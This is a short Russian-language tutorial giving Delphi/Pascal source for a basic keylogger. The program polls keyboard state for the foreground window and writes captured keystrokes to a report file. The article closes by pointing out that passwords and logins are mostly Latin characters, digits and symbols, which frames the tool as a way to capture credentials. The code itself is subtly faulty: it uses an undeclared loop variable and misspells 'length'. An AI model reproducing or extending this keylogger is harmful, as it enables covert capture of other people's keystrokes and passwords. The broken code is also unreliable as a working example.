В данной статье рассмотрим простейший пример keylogger (клавиатурный шпион). Keylogger (кейлоггер) — (англ. key — клавиша и logger — регистрирующее устройство) — это программное обеспечение или аппаратное устройство, регистрирующее каждое нажатие клавиши на клавиатуре компьютера (http://ru.wikipedia.org/wiki/Keylogger).
В нашем случае программа будет опрашивать состояние клавиш, затем сохранять их значение в файл. На изображении показан файл программы и её отчет (перехваченные данные), реализации автозагрузки, шифровки и отправки отчета на электронный почтовый ящик в этой статье не будет
Program KLogger;
Uses Windows;
const
FlName='kbd_report.txt';
wait=50;
var
wndh:Cardinal;
wndtxt:array[0..255]of char;
wndclass:array[0..255]of char;
cstr:string='';
num:integer;
function izex(path:pchar):boolean;{проверка наличия файла на диске}
begin
Result:=true;
if GetFileAttributes(path)=DWord(-1) then result:=false;
end; function ontop(wH:Cardinal):boolean;{проверка - является ли окно самым верхним}
begin
Result:=(GetForegroundWindow()=wH);
end;
procedure writer(value:string);{запись значений нажатых клавиш на диск}
var F:TextFile;
i:integer;
begin
AssignFile(F,FLName);
if izex(FLName) then Append(F) else Rewrite(F);
for i:=1 to lemgth(value) do write(F,value[i]);
CloseFile(F);
end;
BEGIN
While true do begin
wndh:=GetForegroundWindow();
while ontop(wndh) do begin
For num:=8 to 90 do begin
if GetAsyncKeyState(i)=-$7FFF
then if GetKeyState(i)<>0 then cstr:=cstr+chr(i);
end;
end;
if cstr<>'' then writer(cstr);
Sleep(wait);
cstr:='';
end;
END.
Ну вот и всё, простейший кейлоггер готов, реализацию отлова русских и спец символов додумывайте сами. PS пароли и логины обычно состоят из английских букв, цифр и спец. символов.
| 
